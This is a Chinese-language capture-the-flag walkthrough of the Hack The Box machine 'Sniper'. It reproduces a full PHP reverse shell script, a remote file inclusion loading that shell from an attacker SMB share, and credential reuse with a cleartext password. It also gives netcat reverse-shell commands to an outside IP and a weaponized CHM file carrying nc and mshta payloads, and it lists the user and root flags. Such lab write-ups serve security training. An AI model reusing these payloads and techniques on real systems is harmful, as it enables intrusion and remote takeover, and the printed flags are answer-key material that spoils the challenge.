信息收集
IP Address | Opening Ports |
---|---|
10.10.10.151 | TCP:80,135,139,445,49667 |
$ nmap -p- 10.10.10.151 --min-rate 1000 -sC -sV -Pn
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Sniper Co.
| http-methods:
|_ Potentially risky methods: TRACE
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
49667/tcp open msrpc Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
HTTP SMB远程RFI
http://10.10.10.151/
$ feroxbuster --url http://10.10.10.151/
$ curl 'http://10.10.10.151/blog/?lang=/windows/win.ini'
$ impacket-smbserver share /tmp/ -smb2support
<?php
// Copyright (c) 2020 Ivan Šincek
// v2.6
// Requires PHP v5.0.0 or greater.
// Works on Linux OS, macOS, and Windows OS.
// See the original script at https://github.com/pentestmonkey/php-reverse-shell.
class Shell {private $addr = null;private $port = null;private $os = null;private $shell = null;private $descriptorspec = array(0 => array('pipe', 'r'), // shell can read from STDIN1 => array('pipe', 'w'), // shell can write to STDOUT2 => array('pipe', 'w') // shell can write to STDERR);private $buffer = 1024; // read/write buffer sizeprivate $clen = 0; // command lengthprivate $error = false; // stream read/write errorprivate $sdump = true; // script's dumppublic function __construct($addr, $port) {$this->addr = $addr;$this->port = $port;}private function detect() {$detected = true;$os = PHP_OS;if (stripos($os, 'LINUX') !== false || stripos($os, 'DARWIN') !== false) {$this->os = 'LINUX';$this->shell = '/bin/sh';} else if (stripos($os, 'WINDOWS') !== false || stripos($os, 'WINNT') !== false || stripos($os, 'WIN32') !== false) {$this->os = 'WINDOWS';$this->shell = 'cmd.exe';} else {$detected = false;echo "SYS_ERROR: Underlying operating system is not supported, script will now exit...\n";}return $detected;}private function daemonize() {$exit = false;if (!function_exists('pcntl_fork')) {echo "DAEMONIZE: pcntl_fork() does not exists, moving on...\n";} else if (($pid = @pcntl_fork()) < 0) {echo "DAEMONIZE: Cannot fork off the parent process, moving on...\n";} else if ($pid > 0) {$exit = true;echo "DAEMONIZE: Child process forked off successfully, parent process will now exit...\n";// once daemonized, you will actually no longer see the script's dump} else if (posix_setsid() < 0) {echo "DAEMONIZE: Forked off the parent process but cannot set a new SID, moving on as an orphan...\n";} else {echo "DAEMONIZE: Completed successfully!\n";}return $exit;}private function settings() {@error_reporting(0);@set_time_limit(0); // do not impose the script execution time limit@umask(0); // set the file/directory permissions - 666 for files and 777 for directories}private function dump($data) {if ($this->sdump) {$data = str_replace('<', '<', $data);$data = str_replace('>', '>', $data);echo $data;}}private function read($stream, $name, $buffer) {if (($data = @fread($stream, $buffer)) === false) { // suppress an error when reading from a closed blocking stream$this->error = true; // set the global error flagecho "STRM_ERROR: Cannot read from {$name}, script will now exit...\n";}return $data;}private function write($stream, $name, $data) {if (($bytes = @fwrite($stream, $data)) === false) { // suppress an error when writing to a closed blocking stream$this->error = true; // set the global error flagecho "STRM_ERROR: Cannot write to {$name}, script will now exit...\n";}return $bytes;}// read/write method for non-blocking streamsprivate function rw($input, $output, $iname, $oname) {while (($data = $this->read($input, $iname, $this->buffer)) && $this->write($output, $oname, $data)) {if ($this->os === 'WINDOWS' && $oname === 'STDIN') { $this->clen += strlen($data); } // calculate the command length$this->dump($data); // script's dump}}// read/write method for blocking streams (e.g. for STDOUT and STDERR on Windows OS)// we must read the exact byte length from a stream and not a single byte moreprivate function brw($input, $output, $iname, $oname) {$size = fstat($input)['size'];if ($this->os === 'WINDOWS' && $iname === 'STDOUT' && $this->clen) {// for some reason Windows OS pipes STDIN into STDOUT// we do not like that// so we need to discard the data from the streamwhile ($this->clen > 0 && ($bytes = $this->clen >= $this->buffer ? $this->buffer : $this->clen) && $this->read($input, $iname, $bytes)) {$this->clen -= $bytes;$size -= $bytes;}}while ($size > 0 && ($bytes = $size >= $this->buffer ? $this->buffer : $size) && ($data = $this->read($input, $iname, $bytes)) && $this->write($output, $oname, $data)) {$size -= $bytes;$this->dump($data); // script's dump}}public function run() {if ($this->detect() && !$this->daemonize()) {$this->settings();// ----- SOCKET BEGIN -----$socket = @fsockopen($this->addr, $this->port, $errno, $errstr, 30);if (!$socket) {echo "SOC_ERROR: {$errno}: {$errstr}\n";} else {stream_set_blocking($socket, false); // set the socket stream to non-blocking mode | returns 'true' on Windows OS// ----- SHELL BEGIN -----$process = @proc_open($this->shell, $this->descriptorspec, $pipes, null, null);if (!$process) {echo "PROC_ERROR: Cannot start the shell\n";} else {foreach ($pipes as $pipe) {stream_set_blocking($pipe, false); // set the shell streams to non-blocking mode | returns 'false' on Windows OS}// ----- WORK BEGIN -----$status = proc_get_status($process);@fwrite($socket, "SOCKET: Shell has connected! PID: {$status['pid']}\n");do {$status = proc_get_status($process);if (feof($socket)) { // check for end-of-file on SOCKETecho "SOC_ERROR: Shell connection has been terminated\n"; break;} else if (feof($pipes[1]) || !$status['running']) { // check for end-of-file on STDOUT or if process is still runningecho "PROC_ERROR: Shell process has been terminated\n"; break; // feof() does not work with blocking streams} // use proc_get_status() instead$streams = array('read' => array($socket, $pipes[1], $pipes[2]), // SOCKET | STDOUT | STDERR'write' => null,'except' => null);$num_changed_streams = @stream_select($streams['read'], $streams['write'], $streams['except'], 0); // wait for stream changes | will not wait on Windows OSif ($num_changed_streams === false) {echo "STRM_ERROR: stream_select() failed\n"; break;} else if ($num_changed_streams > 0) {if ($this->os === 'LINUX') {if (in_array($socket , $streams['read'])) { $this->rw($socket , $pipes[0], 'SOCKET', 'STDIN' ); } // read from SOCKET and write to STDINif (in_array($pipes[2], $streams['read'])) { $this->rw($pipes[2], $socket , 'STDERR', 'SOCKET'); } // read from STDERR and write to SOCKETif (in_array($pipes[1], $streams['read'])) { $this->rw($pipes[1], $socket , 'STDOUT', 'SOCKET'); } // read from STDOUT and write to SOCKET} else if ($this->os === 'WINDOWS') {// order is importantif (in_array($socket, $streams['read'])/*------*/) { $this->rw ($socket , $pipes[0], 'SOCKET', 'STDIN' ); } // read from SOCKET and write to STDINif (($fstat = fstat($pipes[2])) && $fstat['size']) { $this->brw($pipes[2], $socket , 'STDERR', 'SOCKET'); } // read from STDERR and write to SOCKETif (($fstat = fstat($pipes[1])) && $fstat['size']) { $this->brw($pipes[1], $socket , 'STDOUT', 'SOCKET'); } // read from STDOUT and write to SOCKET}}} while (!$this->error);// ------ WORK END ------foreach ($pipes as $pipe) {fclose($pipe);}proc_close($process);}// ------ SHELL END ------fclose($socket);}// ------ SOCKET END ------}}
}
echo '<pre>';
// change the host address and/or port number as necessary
$sh = new Shell('127.0.0.1', 9000);
$sh->run();
unset($sh);
// garbage collector requires PHP v5.3.0 or greater
// @gc_collect_cycles();
echo '</pre>';
?>
http://10.10.10.151/blog/?lang=\\10.10.16.9\share\shell.php
iusr -> Chris
C:\inetpub\wwwroot\user>type C:\inetpub\wwwroot\user\db.php
username:dbuser password:36mEAhz/B8xQ~2VM
切换用户
$ crackmapexec smb 10.10.10.151 -u chris -p '36mEAhz/B8xQ~2VM'
PS C:\inetpub\wwwroot\blog> $user = "Sniper\Chris"
PS C:\inetpub\wwwroot\blog> $pass = "36mEAhz/B8xQ~2VM"
PS C:\inetpub\wwwroot\blog> $secstr = New-Object -TypeName System.Security.SecureString
PS C:\inetpub\wwwroot\blog> $pass.ToCharArray() | ForEach-Object {$secstr.AppendChar($_)}
PS C:\inetpub\wwwroot\blog> $cred = new-object -typename System.Management.Automation.PSCredential -argumentlist $user, $secstr
PS C:\inetpub\wwwroot\blog> Invoke-Command -ScriptBlock { whoami } -Credential $cred -Computer localhost
PS C:\inetpub\wwwroot\blog> Invoke-Command -ScriptBlock { \\10.10.16.9\share\nc64.exe -e powershell.exe 10.10.16.9 10033} -Credential $cred -Computer localhost
User.txt
bb3a48f141bbd9655f1a6b7ab5ddf738
权限提升(CHM武器化)
PS C:\Users\Chris\Downloads> dir C:\Users\Chris\Downloads
PS C:\Users\Chris\Downloads> copy C:\Users\Chris\Downloads\instructions.chm \\10.10.16.9\share\instructions.chm
https://github.com/samratashok/nishang/blob/master/Client/Out-CHM.ps1
安装HTML Help Workshop
https://archive.org/details/htmlhelp
PS C:\CHM> Set-ExecutionPolicy -Scope Process -ExecutionPolicy Bypass
PS C:\CHM> Import-Module .\Out-CHM.ps1
PS C:\CHM> Out-CHM -Payload "/Docs/nc64.exe -e cmd 10.10.16.9 10034" -HHCPath "C:\Program Files (x86)\HTML Help Workshop"
C:\Docs>copy \\10.10.16.9\share\nc64.exe .
C:\Docs>copy \\10.10.16.9\share\doc.chm .
同样可以使用koadic无文件落地反向shell,这是一个我比较推荐的方法
PS C:\CHM> Out-CHM -Payload "powershell.exe /c mshta http://10.10.16.9:9999/MkvTv" -HHCPath "C:\Program Files (x86)\HTML Help Workshop"
PS C:\Docs> copy \\10.10.16.9\share\doc.chm .
Root.txt
9f260cba125a007077d26b18f1a5028d